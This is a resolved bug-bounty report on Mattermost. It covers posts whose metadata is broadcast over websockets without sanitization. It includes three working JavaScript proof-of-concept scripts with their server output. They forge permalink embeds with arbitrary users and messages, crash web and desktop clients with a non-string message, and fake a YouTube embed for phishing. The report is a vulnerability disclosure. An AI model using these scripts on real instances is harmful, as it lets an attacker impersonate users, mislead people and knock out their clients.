Posts sent via websockets aren't sanitized properly
Low
M
Mattermost
Submitted None
Actions:
Reported by
c0rydoras
Vulnerability Details
Technical details and impact analysis
Posts aren't sanitized the same way when sent via Websockets as they are when saved to the database.
## Example 1 - Permalink embed with fully customizable content
### Code
```javascript
const MM_INSTANCE_URL = process.env.MM_INSTANCE_URL;
const MM_AUTH_TOKEN = process.env.MM_AUTH_TOKEN;
const MM_USER_ID = process.env.MM_USER_ID;
const MM_CHANNEL_ID = process.env.MM_CHANNEL_ID; // the ID of the channel where we create the post
const MM_TARGET_ID = "96nffx8oztncuyyxq7nj7p8seh"; // ID of a post, which the embed will target
const MM_SHOWN_USER_ID = "teur4prbifnh7dhq5rh3cp7q4c"; // the user shown in the embed, in this example its the userid of system
const metadata = ({
embeds: [
{
type: "permalink",
blocked: {
post_id: MM_TARGET_ID,
post: {
id: MM_TARGET_ID,
user_id: MM_SHOWN_USER_ID,
channel_id: "doesnt-matter",
root_id: "",
original_id: "",
message: 'This can be whatever i want',
type: "",
props: {},
hashtags: "",
reply_count: 0,
last_reply_at: 0,
participants: [],
metablocked: {},
},
team_name: "",
channel_display_name: "can-be-anything-i-want",
channel_type: "O",
channel_id: "",
},
},
],
})
const body = JSON.stringify({
file_ids: [],
message: "",
props: {
previewed_post: MM_TARGET_ID,
},
channel_id: MM_CHANNEL_ID,
user_id: MM_USER_ID,
metadata,
});
const resp = await fetch(`${MM_INSTANCE_URL}/api/v4/posts`, {
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${MM_AUTH_TOKEN}`,
},
method: "POST",
body,
});
console.log(JSON.stringify(await resp.json(), null, 4));
```
### Received Data from WS Connection
```json
{"event":"posted","data":{"channel_display_name":"@arthurd","channel_name":"1wt8aoiskjg99dap81jx4zjejc__w1bycrx7apy3xn31j7dyszahfa","channel_type":"D","mentions":"[\"w1bycrx7apy3xn31j7dyszahfa\"]","post":"{\"id\":\"ju9uuu3xnjy1pymrp8siyk3t1o\",\"create_at\":1717763281641,\"update_at\":1717763281641,\"edit_at\":0,\"delete_at\":0,\"is_pinned\":false,\"user_id\":\"1wt8aoiskjg99dap81jx4zjejc\",\"channel_id\":\"ucatpix4girt5rp3w4xunng14o\",\"root_id\":\"\",\"original_id\":\"\",\"message\":\"\",\"type\":\"\",\"props\":{\"previewed_post\":\"96nffx8oztncuyyxq7nj7p8seh\"},\"hashtags\":\"\",\"pending_post_id\":\"\",\"reply_count\":0,\"last_reply_at\":0,\"participants\":null,\"metadata\":{\"embeds\":[{\"type\":\"permalink\",\"data\":{\"channel_display_name\":\"can-be-anything-i-want\",\"channel_id\":\"\",\"channel_type\":\"O\",\"post\":{\"channel_id\":\"doesnt-matter\",\"hashtags\":\"\",\"id\":\"96nffx8oztncuyyxq7nj7p8seh\",\"last_reply_at\":0,\"message\":\"This can be whatever i want\",\"metadata\":{},\"original_id\":\"\",\"participants\":[],\"props\":{},\"reply_count\":0,\"root_id\":\"\",\"type\":\"\",\"user_id\":\"teur4prbifnh7dhq5rh3cp7q4c\"},\"post_id\":\"96nffx8oztncuyyxq7nj7p8seh\",\"team_name\":\"\"}}]}}","sender_name":"@arthurd","set_online":true,"should_ack":true,"team_id":""},"broadcast":{"omit_users":null,"user_id":"w1bycrx7apy3xn31j7dyszahfa","channel_id":"ucatpix4girt5rp3w4xunng14o","team_id":"","connection_id":"","omit_connection_id":""},"seq":10}
```
### Resulting Post
{F3339043}
### Get request to post
```json
{"id":"ju9uuu3xnjy1pymrp8siyk3t1o","create_at":1717763281641,"update_at":1717763281641,"edit_at":0,"delete_at":0,"is_pinned":false,"user_id":"1wt8aoiskjg99dap81jx4zjejc","channel_id":"ucatpix4girt5rp3w4xunng14o","root_id":"","original_id":"","message":"","type":"","props":{"previewed_post":"96nffx8oztncuyyxq7nj7p8seh"},"hashtags":"","pending_post_id":"","reply_count":0,"last_reply_at":0,"participants":null,"metadata":{}}
```
## Example 2 - DoS via non-string message using permalink embed
### Code
```javascript
const MM_INSTANCE_URL = process.env.MM_INSTANCE_URL;
const MM_AUTH_TOKEN = process.env.MM_AUTH_TOKEN;
const MM_USER_ID = process.env.MM_USER_ID;
const MM_CHANNEL_ID = process.env.MM_CHANNEL_ID; // the ID of the channel where we create the post
const MM_TARGET_ID = "96nffx8oztncuyyxq7nj7p8seh"; // ID of a post, which the embed will target
const MM_SHOWN_USER_ID = "teur4prbifnh7dhq5rh3cp7q4c"; // the user shown in the embed, in this example its the userid of system
const metadata = ({
embeds: [
{
type: "permalink",
blocked: {
post_id: MM_TARGET_ID,
post: {
id: MM_TARGET_ID,
user_id: MM_SHOWN_USER_ID,
channel_id: "doesnt-matter",
root_id: "",
original_id: "",
message: ['This will crash your webapp/desktop app'],
type: "",
props: {},
hashtags: "",
reply_count: 0,
last_reply_at: 0,
participants: [],
metablocked: {},
},
team_name: "",
channel_display_name: "can-be-anything-i-want",
channel_type: "O",
channel_id: "",
},
},
],
})
const body = JSON.stringify({
file_ids: [],
message: "",
props: {
previewed_post: MM_TARGET_ID,
},
channel_id: MM_CHANNEL_ID,
user_id: MM_USER_ID,
metadata,
});
const resp = await fetch(`${MM_INSTANCE_URL}/api/v4/posts`, {
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${MM_AUTH_TOKEN}`,
},
method: "POST",
body,
});
console.log(JSON.stringify(await resp.json(), null, 4));
```
### Received Data from websocket connection
```json
{"event":"posted","data":{"channel_display_name":"@arthurd","channel_name":"1wt8aoiskjg99dap81jx4zjejc__w1bycrx7apy3xn31j7dyszahfa","channel_type":"D","mentions":"[\"w1bycrx7apy3xn31j7dyszahfa\"]","post":"{\"id\":\"zsx67zqb8frh3knprgon4k1azc\",\"create_at\":1717763588738,\"update_at\":1717763588738,\"edit_at\":0,\"delete_at\":0,\"is_pinned\":false,\"user_id\":\"1wt8aoiskjg99dap81jx4zjejc\",\"channel_id\":\"ucatpix4girt5rp3w4xunng14o\",\"root_id\":\"\",\"original_id\":\"\",\"message\":\"\",\"type\":\"\",\"props\":{\"previewed_post\":\"96nffx8oztncuyyxq7nj7p8seh\"},\"hashtags\":\"\",\"pending_post_id\":\"\",\"reply_count\":0,\"last_reply_at\":0,\"participants\":null,\"metadata\":{\"embeds\":[{\"type\":\"permalink\",\"data\":{\"channel_display_name\":\"can-be-anything-i-want\",\"channel_id\":\"\",\"channel_type\":\"O\",\"post\":{\"channel_id\":\"doesnt-matter\",\"hashtags\":\"\",\"id\":\"96nffx8oztncuyyxq7nj7p8seh\",\"last_reply_at\":0,\"message\":[\"This will crash your webapp/desktop app\"],\"metadata\":{},\"original_id\":\"\",\"participants\":[],\"props\":{},\"reply_count\":0,\"root_id\":\"\",\"type\":\"\",\"user_id\":\"teur4prbifnh7dhq5rh3cp7q4c\"},\"post_id\":\"96nffx8oztncuyyxq7nj7p8seh\",\"team_name\":\"\"}}]}}","sender_name":"@arthurd","set_online":true,"should_ack":true,"team_id":""},"broadcast":{"omit_users":null,"user_id":"w1bycrx7apy3xn31j7dyszahfa","channel_id":"ucatpix4girt5rp3w4xunng14o","team_id":"","connection_id":"","omit_connection_id":""},"seq":14}
```
### Impact
{F3339055}
{F3339056}
(dead web application, requires restart)
Its important to note that users don't have to be on the channel where the malicious embed is, naviagting there without refreshing the website/desktopapp still ends up in a white page.
More importantly, one can send embeds with valid messages in multiple channels, then when one post changes the embed e.g. different message, that happens for all occurences, so one could create valid embeds in a couple channels e.g. town-square, off-topic and more, then one with an invalid message and all of those channels now result in a whitepage (crash) for webapp/desktopap users.
### Get request of post
```json
{"id":"zsx67zqb8frh3knprgon4k1azc","create_at":1717763588738,"update_at":1717763588738,"edit_at":0,"delete_at":0,"is_pinned":false,"user_id":"1wt8aoiskjg99dap81jx4zjejc","channel_id":"ucatpix4girt5rp3w4xunng14o","root_id":"","original_id":"","message":"","type":"","props":{"previewed_post":"96nffx8oztncuyyxq7nj7p8seh"},"hashtags":"","pending_post_id":"","reply_count":0,"last_reply_at":0,"participants":null,"metadata":{}}
```
## Example 3 - Youtube Embed with different link
### Code
```javascript
const MM_INSTANCE_URL = process.env.MM_INSTANCE_URL;
const MM_AUTH_TOKEN = process.env.MM_AUTH_TOKEN;
const MM_USER_ID = process.env.MM_USER_ID;
const MM_CHANNEL_ID = process.env.MM_CHANNEL_ID; // the ID of the channel where we create the post
const TARGET_URL = "https://github.com/c0rydoras";
const metadata = {
embeds: [
{
type: "opengraph",
url: `${TARGET_URL}?ignore=https://youtube.com/watch?v=dQw4w9WgXcQ`,
blocked: {
type: "video.other",
url: "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
title: "Rick Astley - Never Gonna Give You Up (Official Music Video)",
description:
"The official video for “Never Gonna Give You Up” by Rick Astley. The new album 'Are We There Yet?' is out now: Download here: https://RickAstley.lnk.to/AreWe...",
determiner: "",
site_name: "YouTube",
locale: "",
locales_alternate: null,
images: [
{
url: "https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg",
secure_url: "",
type: "",
width: 1280,
height: 720,
},
],
audios: null,
videos: null,
},
},
],
images: {
"https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg": {
width: 1280,
height: 720,
format: "jpeg",
frame_count: 0,
},
},
};
const body = JSON.stringify({
file_ids: [],
message: "",
channel_id: MM_CHANNEL_ID,
user_id: MM_USER_ID,
metadata,
});
const resp = await fetch(`${MM_INSTANCE_URL}/api/v4/posts`, {
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${MM_AUTH_TOKEN}`,
},
method: "POST",
body,
});
console.log(JSON.stringify(await resp.json(), null, 4));
```
### Received data from websocket connection
```json
{"event":"posted","data":{"channel_display_name":"@arthurd","channel_name":"1wt8aoiskjg99dap81jx4zjejc__w1bycrx7apy3xn31j7dyszahfa","channel_type":"D","mentions":"[\"w1bycrx7apy3xn31j7dyszahfa\"]","post":"{\"id\":\"rpaioun83fds5ppf78bstpp3pw\",\"create_at\":1717764679114,\"update_at\":1717764679114,\"edit_at\":0,\"delete_at\":0,\"is_pinned\":false,\"user_id\":\"1wt8aoiskjg99dap81jx4zjejc\",\"channel_id\":\"ucatpix4girt5rp3w4xunng14o\",\"root_id\":\"\",\"original_id\":\"\",\"message\":\"\",\"type\":\"\",\"props\":{},\"hashtags\":\"\",\"pending_post_id\":\"\",\"reply_count\":0,\"last_reply_at\":0,\"participants\":null,\"metadata\":{\"embeds\":[{\"type\":\"opengraph\",\"url\":\"https://github.com/c0rydoras?ignore=https://youtube.com/watch?v=dQw4w9WgXcQ\",\"data\":{\"audios\":null,\"description\":\"The official video for “Never Gonna Give You Up” by Rick Astley. The new album 'Are We There Yet?' is out now: Download here: https://RickAstley.lnk.to/AreWe...\",\"determiner\":\"\",\"images\":[{\"height\":720,\"secure_url\":\"\",\"type\":\"\",\"url\":\"https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg\",\"width\":1280}],\"locale\":\"\",\"locales_alternate\":null,\"site_name\":\"YouTube\",\"title\":\"Rick Astley - Never Gonna Give You Up (Official Music Video)\",\"type\":\"video.other\",\"url\":\"https://www.youtube.com/watch?v=dQw4w9WgXcQ\",\"videos\":null}}]}}","sender_name":"@arthurd","set_online":true,"should_ack":true,"team_id":""},"broadcast":{"omit_users":null,"user_id":"","channel_id":"ucatpix4girt5rp3w4xunng14o","team_id":"","connection_id":"","omit_connection_id":""},"seq":4}
```
### Rendered Post
{F3339087}
{F3339088}
The name and other values are also customizable
{F3339089}
### Get request of post
```json
{"id":"rpaioun83fds5ppf78bstpp3pw","create_at":1717764679114,"update_at":1717764679114,"edit_at":0,"delete_at":0,"is_pinned":false,"user_id":"1wt8aoiskjg99dap81jx4zjejc","channel_id":"ucatpix4girt5rp3w4xunng14o","root_id":"","original_id":"","message":"","type":"","props":{},"hashtags":"","pending_post_id":"","reply_count":0,"last_reply_at":0,"participants":null,"metadata":{}}
```
## Impact
This can be abused in several ways. Here are some I found, i'm sure theres a lot more.
- CWE-405 by having a very large payload (e.g. a lot of things in metadata), can take down server (similar to CVE\-2024-24988)
- DoS by sending a permalink embed with a `message` that isn't a string
- Lots of ways for phishing e.g. Youtube embed that can be freely customized
- False Permalink embeds of posts that don't exist with freely customizable channel, user, time, message
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$150.00
Submitted
Weakness
Improper Input Validation